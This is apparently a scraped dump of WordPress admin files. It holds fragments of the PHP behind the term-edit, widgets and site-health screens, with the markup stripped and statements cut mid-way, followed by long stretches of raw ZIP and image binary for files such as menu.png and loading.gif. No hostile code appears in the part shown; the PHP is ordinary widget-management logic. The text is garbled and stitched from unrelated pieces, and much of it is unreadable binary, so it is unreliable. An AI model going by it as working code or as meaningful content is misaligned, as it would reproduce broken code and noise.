', esc_url( wp_validate_redirect( sanitize_url( $wp_http_referer ), admin_url( 'term.php?taxonomy=' . $taxonomy ) ) ), esc_html( $tax->labels->back_to_items ) ); } wp_admin_notice( $message, array( 'type' => $class, 'id' => 'message', 'paragraph_wrap' => false, ) ); } ?>
> name ) ) { $tag_name_value = esc_attr( $tag->name ); } ?> slug ) ? apply_filters( 'editable_slug', $tag->slug, $tag ) : ''; ?>
add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'Widgets are independent sections of content that can be placed into any widgetized area provided by your theme (commonly called sidebars). To populate your sidebars/widget areas with individual widgets, drag and drop the title bars into the desired area. By default, only the first widget area is expanded. To populate additional widget areas, click on their title bars to expand them.' ) . '

' . __( 'The Available Widgets section contains all the widgets you can choose from. Once you drag a widget into a sidebar, it will open to allow you to configure its settings. When you are happy with the widget settings, click the Save button and the widget will go live on your site. If you click Delete, it will remove the widget.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'removing-reusing', 'title' => __( 'Removing and Reusing' ), 'content' => '

' . __( 'If you want to remove the widget but save its setting for possible future use, just drag it into the Inactive Widgets area. You can add them back anytime from there. This is especially helpful when you switch to a theme with fewer or different widget areas.' ) . '

' . __( 'Widgets may be used multiple times. You can give each widget a title, to display on your site, but it’s not required.' ) . '

' . __( 'Enabling Accessibility Mode, via Screen Options, allows you to use Add and Edit buttons instead of using drag and drop.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'missing-widgets', 'title' => __( 'Missing Widgets' ), 'content' => '

' . __( 'Many themes show some sidebar widgets by default until you edit your sidebars, but they are not automatically displayed in your sidebar management tool. After you make your first widget change, you can re-add the default widgets by adding them from the Available Widgets area.' ) . '

' . '

' . __( 'When changing themes, there is often some variation in the number and setup of widget areas/sidebars and sometimes these conflicts make the transition a bit less smooth. If you changed themes and seem to be missing widgets, scroll down on this screen to the Inactive Widgets area, where all of your widgets and their settings will have been saved.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Widgets' ) . '

' . '

' . __( 'Support forums' ) . '

' ); // These are the widgets grouped by sidebar. $sidebars_widgets = wp_get_sidebars_widgets(); if ( empty( $sidebars_widgets ) ) { $sidebars_widgets = wp_get_widget_defaults(); } foreach ( $sidebars_widgets as $sidebar_id => $widgets ) { if ( 'wp_inactive_widgets' === $sidebar_id ) { continue; } if ( ! is_registered_sidebar( $sidebar_id ) ) { if ( ! empty( $widgets ) ) { // Register the inactive_widgets area as sidebar. register_sidebar( array( 'name' => __( 'Inactive Sidebar (not used)' ), 'id' => $sidebar_id, 'class' => 'inactive-sidebar orphan-sidebar', 'description' => __( 'This sidebar is no longer available and does not show anywhere on your site. Remove each of the widgets below to fully remove this inactive sidebar.' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', ) ); } else { unset( $sidebars_widgets[ $sidebar_id ] ); } } } // Register the inactive_widgets area as sidebar. register_sidebar( array( 'name' => __( 'Inactive Widgets' ), 'id' => 'wp_inactive_widgets', 'class' => 'inactive-sidebar', 'description' => __( 'Drag widgets here to remove them from the sidebar but keep their settings.' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', ) ); retrieve_widgets(); // We're saving a widget without JS. if ( isset( $_POST['savewidget'] ) || isset( $_POST['removewidget'] ) ) { $widget_id = $_POST['widget-id']; check_admin_referer( "save-delete-widget-$widget_id" ); $number = isset( $_POST['multi_number'] ) ? (int) $_POST['multi_number'] : ''; if ( $number ) { foreach ( $_POST as $key => $val ) { if ( is_array( $val ) && preg_match( '/__i__|%i%/', key( $val ) ) ) { $_POST[ $key ] = array( $number => array_shift( $val ) ); break; } } } $sidebar_id = $_POST['sidebar']; $position = isset( $_POST[ $sidebar_id . '_position' ] ) ? (int) $_POST[ $sidebar_id . '_position' ] - 1 : 0; $id_base = $_POST['id_base']; $sidebar = $sidebars_widgets[ $sidebar_id ] ?? array(); // Delete. if ( isset( $_POST['removewidget'] ) && $_POST['removewidget'] ) { if ( ! in_array( $widget_id, $sidebar, true ) ) { wp_redirect( admin_url( 'widgets.php?error=0' ) ); exit; } $sidebar = array_diff( $sidebar, array( $widget_id ) ); $_POST = array( 'sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1', ); /** * Fires immediately after a widget has been marked for deletion. * * @since 4.4.0 * * @param string $widget_id ID of the widget marked for deletion. * @param string $sidebar_id ID of the sidebar the widget was deleted from. * @param string $id_base ID base for the widget. */ do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base ); } $_POST['widget-id'] = $sidebar; foreach ( (array) $wp_registered_widget_updates as $name => $control ) { if ( $name !== $id_base || ! is_callable( $control['callback'] ) ) { continue; } ob_start(); call_user_func_array( $control['callback'], $control['params'] ); ob_end_clean(); break; } $sidebars_widgets[ $sidebar_id ] = $sidebar; // Remove old position. if ( ! isset( $_POST['delete_widget'] ) ) { foreach ( $sidebars_widgets as $sidebar_widget_id => $sidebar_widget ) { if ( is_array( $sidebar_widget ) ) { $sidebars_widgets[ $sidebar_widget_id ] = array_diff( $sidebar_widget, array( $widget_id ) ); } } array_splice( $sidebars_widgets[ $sidebar_id ], $position, 0, $widget_id ); } wp_set_sidebars_widgets( $sidebars_widgets ); wp_redirect( admin_url( 'widgets.php?message=0' ) ); exit; } // Remove inactive widgets without JS. if ( isset( $_POST['removeinactivewidgets'] ) ) { check_admin_referer( 'remove-inactive-widgets', '_wpnonce_remove_inactive_widgets' ); if ( $_POST['removeinactivewidgets'] ) { foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) { $pieces = explode( '-', $widget_id ); $multi_number = array_pop( $pieces ); $id_base = implode( '-', $pieces ); $widget = get_option( 'widget_' . $id_base ); unset( $widget[ $multi_number ] ); update_option( 'widget_' . $id_base, $widget ); unset( $sidebars_widgets['wp_inactive_widgets'][ $key ] ); } wp_set_sidebars_widgets( $sidebars_widgets ); } wp_redirect( admin_url( 'widgets.php?message=0' ) ); exit; } // Output the widget form without JS. if ( isset( $_GET['editwidget'] ) && $_GET['editwidget'] ) { $widget_id = $_GET['editwidget']; if ( isset( $_GET['addnew'] ) ) { // Default to the first sidebar. $keys = array_keys( $wp_registered_sidebars ); $sidebar = reset( $keys ); if ( isset( $_GET['base'] ) && isset( $_GET['num'] ) ) { // Multi-widget. // Copy minimal info from an existing instance of this widget to a new instance. foreach ( $wp_registered_widget_controls as $control ) { if ( $_GET['base'] === $control['id_base'] ) { $control_callback = $control['callback']; $multi_number = (int) $_GET['num']; $control['params'][0]['number'] = -1; $control['id'] = $control['id_base'] . '-' . $multi_number; $widget_id = $control['id']; $wp_registered_widget_controls[ $control['id'] ] = $control; break; } } } } if ( isset( $wp_registered_widget_controls[ $widget_id ] ) && ! isset( $control ) ) { $control = $wp_registered_widget_controls[ $widget_id ]; $control_callback = $control['callback']; } elseif ( ! isset( $wp_registered_widget_controls[ $widget_id ] ) && isset( $wp_registered_widgets[ $widget_id ] ) ) { $name = esc_html( strip_tags( $wp_registered_widgets[ $widget_id ]['name'] ) ); } if ( ! isset( $name ) ) { $name = esc_html( strip_tags( $control['name'] ) ); } if ( ! isset( $sidebar ) ) { $sidebar = $_GET['sidebar'] ?? 'wp_inactive_widgets'; } if ( ! isset( $multi_number ) ) { $multi_number = $control['params'][0]['number'] ?? ''; } $id_base = $control['id_base'] ?? $control['id']; // Show the widget form. $width = ' style="width:' . max( $control['width'], 350 ) . 'px"'; $key = isset( $_GET['key'] ) ? (int) $_GET['key'] : 0; require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

>

' . __( 'There are no options for this widget.' ) . "

\n"; } ?>

$sidebar_data ) { echo "\t\t\n"; } ?>
"; if ( 'wp_inactive_widgets' === $sidebar_name || str_starts_with( $sidebar_name, 'orphaned_widgets' ) ) { echo ' '; } else { if ( ! isset( $sidebars_widgets[ $sidebar_name ] ) || ! is_array( $sidebars_widgets[ $sidebar_name ] ) ) { $widget_count = 1; $sidebars_widgets[ $sidebar_name ] = array(); } else { $widget_count = count( $sidebars_widgets[ $sidebar_name ] ); if ( isset( $_GET['addnew'] ) || ! in_array( $widget_id, $sidebars_widgets[ $sidebar_name ], true ) ) { ++$widget_count; } } $selected = ''; echo "\t\t\n"; } echo "
|

%2$s', esc_url( add_query_arg( array( array( 'autofocus' => array( 'panel' => 'widgets' ) ), 'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), ), admin_url( 'customize.php' ) ) ), __( 'Manage with Live Preview' ) ); } $nonce = wp_create_nonce( 'widgets-access' ); ?>
'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } if ( isset( $_GET['error'] ) && isset( $errors[ $_GET['error'] ] ) ) { wp_admin_notice( $errors[ $_GET['error'] ], array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } /** * Fires before the Widgets administration page content loads. * * @since 3.0.0 */ do_action( 'widgets_admin_page' ); ?>


$registered_sidebar ) { if ( str_contains( $registered_sidebar['class'], 'inactive-sidebar' ) || str_starts_with( $sidebar, 'orphaned_widgets' ) ) { $wrap_class = 'widgets-holder-wrap'; if ( ! empty( $registered_sidebar['class'] ) ) { $wrap_class .= ' ' . $registered_sidebar['class']; } $is_inactive_widgets = 'wp_inactive_widgets' === $registered_sidebar['id']; ?>

'inactive-widgets-control-remove' ); if ( empty( $sidebars_widgets['wp_inactive_widgets'] ) ) { $attributes['disabled'] = ''; } submit_button( __( 'Clear Inactive Widgets' ), 'delete', 'removeinactivewidgets', false, $attributes ); ?>

1 ) { $split = (int) ceil( $sidebars_count / 2 ); } else { $single_sidebar_class = ' single-sidebar'; } ?>

'error', 'additional_classes' => array( 'hide-if-js' ), ) ); ?>

Site Health Status page.' ), esc_url( admin_url( 'site-health.php' ) ) ); ?>

$details ) { if ( ! isset( $details['fields'] ) || empty( $details['fields'] ) ) { continue; } ?>

PK!yp#images/menu-vs.pngnu[PNG  IHDR@) PLTELiqS4BXI,<6%$lZYV3;PGQ*=SQIE3&D52H|=1$1=9%MMLG,RI4:PvjAq8/bSN##@n~w`T+I"IIfWH==z':Q݁z8"!Yz?ܭw]mxřM7Laǩ̭Qr{4H2V\kΕڟO^>>?uRj{OOFFGaC^”|Q~?pij¼ʰIJ+kۑ˟f؂Gٓvñpwڛ6]qhIf]Ǔp߹sN`u/ξ`|JN]ZdbxCbtRNS>* 3 OA*lK?=J8_q(,WJµŹh\_ܵIcɮxtmZ+IDATx{PSW/(:@x  ped nus ã"T^)!&JE^<EEjΞ{97Ns?n2ܓsw~ɀa femկ_''ٖmn6ylZFSEr/*^6~""TDb.Ѣag P ̴4L,0Lquum Х:k#P L𷴙B7r-?ŃO|ZlD"s" ]u>E0zi,=p9YX܏*goirC6պ,-O)O  r=vCZEt!a1ðTA"QHM]$;so/sAKl~EFm!{ts[Z@T(+fg-|thZ 4;9G^:Fm6XAԓ"Ht3RTwEK>vVsrR}4LOF7LOOGGOOjFz ͙p,` ioT٠Xxa})?Ԛa|Ksɓ8yrgxQ Hޞ٢Za r|BK`zeOGiɪdhhD{ akIcD\yaOQx(|K7BFIr^EHHp.vavVXtOy &3 wv4eŲJl(ÓcKloWJGT4 W?B|sph -9҆2U^yd)«[E###"\ ~rRX ZOx %IR|5 nU+B,w,S[p .-hvTbc,PC8h 7*Wu8VDp^pF79##o JSZjAb4|wT𝤸ؕoESyֿ^DhήZj٘!?aOIX{CTr*ıw%#4\&L2Rm,MM*$h49Iw,=ӠP3']3;86r??9V Xx΢QL_~} DoAal ,7l> [Ӓew՜:Sb|ׁ٫2RDf+(g(Õ3:pU]9jR;a5n7gdZdJWu`ݎehoddFI>y⫾骕̒EK[^3q'I[1lo˶{c/ qf!HАeiiI>=7@}'W}Hů 475VP1x^KB֮Ȑe#&lR݅+K;ˎH]6ǙE|j[hf-5a>:c{邏?}lY`%4U,^9xHҐ*]kt K4}{ࠥazz4j7Yz ;C+ScȲԕЏŃ򳩉 qˠ 5D5+ Qh;iG+D1()ɄhpͨCȾ}GQl♱&4?b9Q ]2c'b\@E$H׳ţG%eDvpi ؽOO: :ف:@F@` iqA/ U= {P>?tv͚#k(HK<;]Cpd>-qomAZHO##q >6UPw' OI6 X4qHvG1f @`Zj`|jgZ@!wcDA,Ǫn, ؊CklZF8ngպuȇxY`B C`ŗC # Y/A|nƾC. ;#%}ьRrGsy]\g#=x1E`/Rzߋ*pIc =`ESF!*QALc-#܉.4s[/eƴ'%( 'uF^Ƀвͤ(CQ6@̨-%T 7jKU  $~<>cIP`Ef⨡mVHW]yn8#zK6|-TT,k$ n ))&ܯԥ!AD822M`6q=7:Su CimAƠiS)rfPY2pM裝XbI(0B5D D+V4y05nLLAk@5HMc֠' 󣘃e{K>^[Vzi4FdG7=f1#i^se*c-u]yVLrzAKvkHnp {|͏ Ns0 'iaqZhyq鄡:hԼRrfk6( 0!לi !9%,Va0بS.jt ; Cؾ5bov B~41PQ]Ҟ\~ikHlc+C!<[`& 0@g00Ά1׮VS糜ROIBq <)? ?VQ5 ht0l6h1Ppn9C''sp:{vy`0 $BR:d`Ϛ&#:'޽jF+ 3ȏ|/"q$= i=G0xN9gUaY8=`ck770Wf\`P w<U!ˠ@衎B*Ո$QP_+l IdJ!!PQ(äFCH4ΔLdޔKzA( 7?(ťON_ )/gYw~?Wʷ|km*q6@ua0j$9G)9,}u;?L'k%B֓Δ>~vz R)pJR+튬 J$rJEVNo"7Z ֛!.J)̿ÇR )q=(ix8|1hvQfb:+t R~mûN]29?uB1>^]}:l2H6&ON^y |1r?{7EHpPx{^{^{ׯV: IENDB`PK!<_nf$images/about-header-get-involved.svgnu[PK!i:images/media-button-music.gifnu[GIF89a ꗗyyyʁYYY憆π!, @K'~vm (hߖm5T,9!N\8灀 4B,怡֋1yDN"Cb;PK!XXimages/loading.gifnu[GIF89a ƥνﵵ<<<ޘooo...>>>kkk@@@%%%dddsss===???:::}}}999ggg555///vvvAAA! NETSCAPE2.0! ,@p*HšPi6„B8HÀ1(A;X4 U B2="- #7W0$. z a3Xj#|>A8 *d H bF! , <".0" 2t8 *\<6&4ǩA Vp:Ll@dE@&@PE!! , CpA!ŀ`4 i8 exp mty|gE Oi%mEA!, [=s/Pul$p`'cp>Q; } )@ ;PK!lKimages/menu.pngnu[PNG  IHDR@) PLTELiq" <58sssqpm ttt tsqxxv0?bsrnxxx);R.=Qlll<ooo<3$nnnttt~x`)*m5KXm*RRGUӕda枵Vٖet IDATxkPI'HAAD彀< yJYj Tx@2V . (. "( <뺷wIPu}R̯wa|o/a˗hOkk>!уmj_4]Z_5,㿇mB P.Rr bXI _"f -ӵ E4pzLLz84w뛺S\37dB7:^?DmQ-*հjH$5g%D4\j/-psssKVb.%%.ƄHp.ӓYvvMz+zhbMH3ݒ٤Cx>=H _|qT ]HXd| k H^HE.cNB7P&dKBZII ,4X^/!) QXx#oEuըT5]Q *BF^tص)ECl Ww0~%iqkHu]T +ǯHp M$EgH\/ˤex7"/y84I)![rB˴&' 1 =Q5TZ]mhh8&zf؝iǁZ %/~v:Ǻ3uu` yPK k&?4FOQhwRt)jzzj(Da-wڎCSP4yø/Be%qUpyy}nB ۅHa >ϻO/qM^)'4XXX>{zvg%s^OkJC0PS#71 44w4P/Kp4;0>(H O"=+U`A٨C< .XC: ;` "/I]i5 V'/,Z?ݺ.`YvBYeoQD;'t3; kb ,X-4|WBg?iPPVA|%*ְR԰O%%0ux3wdн{CmtUsny: LVJ'IC+%1?.TU `[/J}EhPQ8~Je%d- TWAjPI)u6yAXﵢkFie2|Z'a!iS-,Q5Mӕ=}#JRY9hS4Pa WA4T\%5,;EzhhGjj` }8W[[[}-B'|&0Z IZu%Z&&drU=[Fo_4^fx(k'''_kĮOIRկ4$ @jx@F9K)T_j r9Bqq?~Ci  "^Q+%NCFQk򿎠+++|O#jk1a!d;iY{Y ]0!ꜜ[r` C̝Ljˋ phhOLAHɸ WJh ӧ OCeÍJ$Om<;Sr,W,?j ]]Y@lmq%.*P Tii QWU4Jo8 Nv ( |Pd|Ǎ'N/T mmmC(;;ՌjNgJhw8z),*,-*x *q22\gBuؼ`{[5"o t{fp83T_p/p\ng<К +˞(ZK K[y@)ˀ fȌ :a759sw&ޗt90Y}f+=.9:lϐOps+T=l. P9uu h{d ]Ot8ΏHi4,AHR?]=n3yX綁oMkaJ$! պ4>~]j iZ-ܼl١~c+{ɒlftSrR}}?77?K zЍKV%mi+7&F}ô$Sbgh\!qkڂǫ]k !,۾}ͬS.;33՚xqFN1M+w W$%''Q!obaEhs2fQΊH 8TĠExFCxVZf$ ))"6d) Q'`,CfA߾ՠ͛73J5 3FRAJRRV~0Ay@DRRFV/oRo2U+JLLܟai|`!RfdR %mٶmKNC2 *lmת[;VyeE;G׾Da\M"wWko55iZK e!C!ДRh #YXH ¶߅O[wFJ[8!aC4Vyߛes ڼɅUh:2*_܎!ˋS㶀aTU!0ձe&"8a2((/Xwqv'I&L[[_A}U"3'2?L{Ic`0k&oTJDMIt/2դLsc8H,XR/$`=ϲ](0LF6e\G00 L א`QYStjl)$[Eh<کyr'Z ޙ6;SW+/b I1 6>]ăd2}m\ ZN044sFX cF{.b@nc/MD CǬ8ܐN$%X}bÐK0([ӡL`A $ڣli˦n^ ޢ.z/M E}XfG(|ԉ2Mق{4(ZS):,9Z1 n,)axBfP+vzu[Ym?D$18̈́D7kO(N] Ľ!0eg%b8u3u^lpIVĐ2o`I118$@>{V0.7geJ,:%\-ʦ-% nfҼ $K~8" {0@ e'#ǀUW>or똿)b(n) ^ }=loVT`<(L`uG9B749*Uܐ|<ɍo*ۺa(UeJr @َ]0yвHp1lPǰm5-_Jh]apտ{uHkX刱?pĠ^JĠ_Ua;90t5B=\njX˲{M^ ,t? CD'ՔOB7%AZ5IJ,,(TXUo8Ʊa/?PJ)E۷O_~t%RIV`pPC,t',f<{Fй*/tW7|T uwS4gǏO.{RPK!UDimages/list-2x.pngnu[PNG  IHDR(NbPLTEMMM MMMLLL]]]^^^^^^222333222MMM}}}KKKzzz{{{HHHIIIMMMooovvv?#tRNS@BC\\^hs`[ IDATXXMGwm׻Dam DТH6qSo$RCqaH{vݽtK{5=ۖ2#RDY͓{ş#~I_ y2z0y]@77_ x=~6J/^@U|y)+vJ< 0[^;_,󳫢|:UK[G<;yeOF\ ,Ո-T ,շ.@^~KB'^{ Va`N ލ]Pq-L.OڌR#F嫍M$|UoɭtGv!F *7=JΘUz=[\ 0.u(v={Z ˳ oIφ8tKn nb*lEi$!/,ȡa L/$ge6GjԂP,,qQbAI.-ΟR9 AɅ,T4dkAvkZwB.:qgPQ<ݪD L)^jr4lLtԸ8S 1!su.0ˍ@'Nwȝ,jVp&qvrpeoߙ`篺wkCr~Ⱦ?'#u/w=dy쌌;bgWɒX/ 4{6lVgī~k=gS؛`LRtqqNmX:KEf1IWZofBa1-tŝiԠS%yn$?mDf! :^a!KVUPA)l0<>bp<*+t|AafޘB&SB>W!$6z.kR5I hu}G>?r $.7I〉>xԤQț(UTG =) &)?l$'qSZKTI^ k7o *Ij'"$_RG Bb %cDpE !RcI!{I&-Zz BP|z$8đAZӖt=\*Sɥ @2#A6\ .fdkaW9 ˃~@V)],ë.%: _ bAf`O<#sJ^DIWSe8. KJ[v֎|2dkKeϴz<3@ysssvWpZ`IqL@H!B 19g GmK6ݷXqҿrN qp7ev0܆Jp+pj8‹&T6K @%bw+\)!ܯȆRehJ >ۘ4xN:)8[.\S"+b̑ y:*Ţ/֎3Zս%@o?MBJ'P:G LvN78%/C @6l3_+T ﵽoG,W'_3yMҺa]>`ppʕ`p250^_Pc D<}Y;.\^4@Kszv}x/?J*թ^Br`u6-r;CC,'kQ;4!\ntG- hT4 -Dž ~ OAlr@%JyA C{tu,Vj` O׆%1Hئ^>|شcB!j| l~2s?jۋZ_u~*Zzmc{}Ub4 @/@ 1b8ɻ!l:t'| %nG!̓z; 6~ʆ PRyS*ew:m(͌8Yt#lsC}`tm1oJyi4C]\R52UMX1HF't^+*_,@@gּ:T3ObQIhsi)A9vk0zf{<O;7nܻ7_|p\eisޫcD%:)D^L˙-$hxI]D-_T6mn-}0)w@G/f p`g_>"kCxpҁ޺4&Um J*Rk>/wR. EwLK}pxA#S`SW$ʭꇋQ,n585Xd"' +`wC @+ Ov/acB۸86UXB6hmч6PC 6]0^>^ ʖm>\IA$vyS0 a RC`-fbp҇M[XB }sg4IsgFfy̜9u~swfyI_ Y\_9xRAЖ/6l<lhe/,!C:cë YdAP, p"z* 7䂸3 0?^@_e`I,Q0J|1 L jt"ɏkgߞ}`8Wq (?{jc|qWu .J/< @x~g ~KdtGZ-_Wޖp^B.M@0\~I>AH ›Fn4uW _"e 4Ei'?'~w qq k}qF;5//3$on4umTPL~{^m׹s.o:]67K'@h:?[:\pï~/zӯŴ>|}@_ zkzͯz~߫I_pSW§K$G(NL.p.]tҥK.]tҥK.]tjM..^ZW޽rE0M?vkj=&DR45VWs|ZνB4(-t4Uk1PI̶k/{R-xK2vkch?Ddr[fQ=j;4rzV=Lfe܋pԕrTRIB`yi(trB- {U=ͪ]n M9`4֠s 4R.vvԑ` ..Fdؚa6eT x d5ٟf3'{A,Bd@P4:l-A(z;4aj[>[t'~B_͜ԉ=cSua-! ׆pmh K3HKPr\Ƃ%8:8I V@08vXEX'v)8S_ RX9=ҝI[LsVɁ ~(~Y| 6 HۚAI~h_6iqtt?_Hg䔧4Zh g' Q*90E0{A-B_qh_u+49Gqz6=-mtwY/14N(RmhJ 3/)حP ̓Ԇ $bmhE>ldZ,'Π]M&=T;0sԶЏ=S%u&nԁ 09)8$GArm $f.NDiġ>NRbM{fN& HJ}p8|gylQ B6t 6h\zOU~f\ˑJuYvԹZ2Qєԁ\p _9MRvޯY93ֆ@ֆPR/-U:ħH@`i) ,Phi)4L :xuw {m_% 3ss TkCSpĮz2ъS6̀INX!=xPǁ?=zU<:h(H$ *6^#\ U/DKR*u2Bk e@zۉ ΃,8ej[WwQ dǴ,XxZqfN8aQV 4Z`xٌA$&!ƎG@z3Rlu؋*O8(U>pf"+[shrT aj.S(?0hEMdT P_0wZk8Z8kRm*׆P[y-jC\y<(s A$/)/a’a{##{a%ꇌ ~` -~]HbJ@DTJ8x7(jCՆ8YBQh7^RrmG5 G. 8:<<0O"p\?0RQ{:Nw%p |ɂfm& TkCNB-\r(NN" lH-!O]E{p mU XK!0׆lFӮ Z$ g@Xd LcD L φk ]k ,h1Y&y^u ܗ wI JR  Bcmh IkC'\mdQqmhj-D8(lg'vg @B"Q"ڱSk9wTf8!ǚ]±(WnJ` wK)nD5 M-1[7|jCvҮWf4+H/WB;Dz4K&V݄dNy #O(1ǜɗ UkCA`'Ba< L(ЙWϴl7XΊ|~;&;*SV)XϙyqM$x+/ x!PuKv0SRL*kCֵ'l6C^ed?ٹӝ\EnXXoKк@EZZCZ@S66_흜y$tAfnD!(c­(p (GƯXsH| ɗR>޹p w1>#{Y(iLV-k,3q5?O1aB ~\ εɩ&&,HL.sƁO'+p_a1?LAB\9kE03f:)⹡pIo)+>i+jnhGOcQO#9SRZVZJs!rvIKuI$UۃϺ:>lXT ڊ`rC Wiy^!;J!:ebEzq.yKC) .ЋSxƽEP*o3*BP,zV @)"5}hEPEG4rtrx,z.7^.D.[>46.S;kQ'f[K" B2q|~.,b;{+=]#^uGIk< $B`8篮L1QGS$caZ#cP8C̤TI9 :p0&5rC'2(qAAAAAx vIENDB`PK!{7images/mask.pngnu[PNG  IHDReeT|-IDATx]R: l d8TQ7[7;}^c)qRj/4_Dw+\F]hztG;J:\F>vp cnd`±sVsɵǁD$h'=]as'BfOWdLeds(L׊GWHBרVFa ]W6Ev&xM,8O1};Bc JvY_#eTW ʴd>*Q<ZL̛q)'5Y|=iWOYXѵ؋I0G QW5ذD8F֊c(X%KIFu]ڲxZ&[Qp&NxCꚲyI%&JH#YtŖ˪'@zU%zI V%9 :'_2˂*%C',"# /a×gYVh˴d*,ߐ: YD}A8H#zr1*kwѰ%% ~T ) C cUҰJaq|#~!{hi~gxLdt#+{| ~#:̣)-QUU8VVː&A#;U=Pz241:9N\* AB#Q1q'Ò'y!'Q0_5S{NvGgWyH!'c.'Sq s2MsclV + a0N&?)o Z6`9Y٨9x*@ʎ "0~‰aPO,)(ZƮ̔ r1˛ՒC?&š#坨l9QuꬬkRS*+p)7g&P;3GH vVy htT(vme0w.xRp)V}iin S-1{'w<}m!`q| U#SS VhxA}˺Ҝ&N d7Q碝+Rޓ!k  ?=H¡URnDqq $cPAdbqP,(4"T?&;H@P(0{^^Gtg/O^1FR P%.c|B=0&7F!^6viBҚT%);QX*']OA;V|MKBN)yS)/i&—\ThBHơi4En Jݣ\^DF A، 'D wYjS!?sQJwM1} _K\~$bVr7zJjۊ3|zJb(2`J DW]ǀȮ#|]Dkg #h $X!lkgR" fWUUy?#z a!' Xi0}vegTkc>Q /2Rd^yJE<zJe+O<"|Tڲh ~LfA `w8*|])a@߱ڧn0;>K}9se5[IENDB`PK!mIZGGimages/icons32-vs.pngnu[PNG  IHDR-PLTELiqG;v{R(c:lFGLQOJFwVLJMKLKIKHKKK`IJMR LQM]D dMKJLRE8iSuHf1[sD~y3`yt4e3_xj6d~ٟmswa)LapD~9jԝ(Ka_ԜӜ =MMVq^L\E䙽Ӫڒе߫ەlؼ⎷OٴdF脱nrûWyTIܤئٔъuj푹agꆲ˻}|xHGoJC{?t;l>r]ݚ7jtRNSJ )B=P gܾY#r3UG"ݚ{*:+ֈ42m_l:a}DwJޣ#MKLMҨGO$}t᝽f:|GtIDATxXGp\9K{رۉs^K${[i$**HBBeBBBA`D7nz71NJ`#kߧ0KVE2$H"$H"$H"$?6\bsqH_,/Z5@;ҽQw)?]ZyhY R|M( Gl^Q_/pv*/[gIzf/w7Gejͮ]kV-=J=DKZt#ȢˋcE8= 0/<,D1_i,.!ο z?LwW*K T.σAuS fw8h/MKM=te O.լ\_x$~%GrdXoM|B!H r9%r^oA2LdFiji/D}Pʪ/"MdeeM,WtW\jQH6@"_K_3ϲVAyd=bGtkv }[覫곘afkɌ~Q߰=L1v k/t*) WzNNY})0F M|$3fC~1|Bsae ЭFP/9}2t;[R+-xH_V˂yThR!f"dCѯjCUsc$NyG4cGGcy8U[ÉQC%8Ye&Մ\NTIۡߘ~nh(le+o{'jѯS;Ee 0VakGx(ʫM*e"]MFFTNSrJJp**lh<ˑ e7i1BA_ˆ}Mo.OƧA/1 8M2I 610Ϸ'/ԸEBd GXP$rx@f텡ց|64dY~^5KPɓ 'm>d2 jD<#9ۄw^)n9)'p[ # DJ[T^^^NiEgJo%_T=i Z|#.mdwX/@h멸\Ԇ[D-U3W0`^!mO)'z)* UmЬ.<ЕQ(غFj4uO^z RЫZ yכ,bYqSgi<EׄW"M4RY_d}ͦt2K-DH_L8 c[ eLxcᤌe֬ݚv)+Z#FϨowbåc,\EDTm HKTҫ^[~tdWBqrFH6o;OZgΞ<}f$>}С.(wmP4ib1YQ9OYPɱ_HZc1"rDVtNrXc 4r:(k8 (apy)xjQUa q1@xP*_5ӣ7=F6*7 }e%t(VyWp:L`-sL&bl: YᒧJCA5UTMc/0l;P8ͱ&؉K2 s^_wٓC] =~|TCɳCCY=3@; A}TTN }ؼ55FP0#Hc DvBJw9><22Z: Cgk&LR+$@0!NkB- )ّ1Fi"gǰ9^z# ԐeU'UDenRԢf].SضkyS ?YQd_!لD(lEy}PUwg'o?qPmhk.:=HU3S,B4o}\IW0-u(u%._nx>s vM>zy#晅Fiȋ cz( t9,G.  N&"Ү lkGΈbgB95J*B^ϪDΞ.á!#LT y%`핣LLXR,<;hPSa=a-6OA JP hb2|;>j>$9yIކ;VoLCoj0h)EL'Mb{N7gJŅ".yI2 lrѨOTv|E o'EL>D%GO;L'Sl+eCߚoQp>mÁC/b7ghQaS"AY##e(uX^Ar{=_Ͽ3.żjN># ?׍O>=$UZ-D_T=_6 dhw՝޴v=W0w̔"K>Z{ gt l½PMn.F ?冓^0ٹm\Tj𒊈yq`iPD2SjH8 Ve!ۇLJ1j S%@̨V1K9V-6ժn] _.=NEK#cBe8LETעMcBW[WzYl`YB+D)A]ZTWש Kku!л  s\4 FM3WqM`p͛n~EzjW?7zfnHHmiw s4zpNQ:fcWdwK U-l?/WN6ߟ|})B_ UV6]lb9#[Tޱк,.,U98Dᘫn>wh 5=sOzQ$kQ,겏,Y2P7t}QlFfяTOCx]zzlHlcj=y5CoQ'V!5Fcmh qQzJu@|*4CBTOT Qxf[XA}9\E@zLQ_fСڋ^ jo.vds ) Tڶ{c9{LA\.5g7ԜGGvw x|^FP\~SCR@PMw޴=<O4yf^u(;y /Ѡ=SA`TL?XzP׳X6*@o4-)O2p}-Z4j^Z6W6WWRv`#F^쨾 3?khj \`phaѡ/H4bjA $<*wϟ;gF|iJ4C(^(nmjMd8K;nXjCE~Ǥ{zj '|MާTң+]TY+apRT>z&j?fsn_U+q0@uV&m5fo듆 ]SMM|4p bȒOɟE! '?(S[hv88->-cw r>7d-5R%=[QPParU(2Ρք'ANNf#<#/O^roG.\^Geqg䰭V\%*#3+z %NpE%8PtT_adiQJ(#vvg|Bi :8/\ DGz[AwoSwW)oz7 C,GO iPEG*DI-c^G`.m}ռS=zofq"|RJd|>Ⓧ\NWyFPȖEoSVңG%*lffexc=8i$(N_KnmfP̘MιJgPsmZ6cjJ"hy~lZČ[ =#LԩNMmhTW?4h™Rd BH^ l|{pn^d* R^tG-5Mt 5Ojz,n4U8G+އң_≭תWe(4v.zC'ffVRu ٘$~>͸,uHnm>=1u 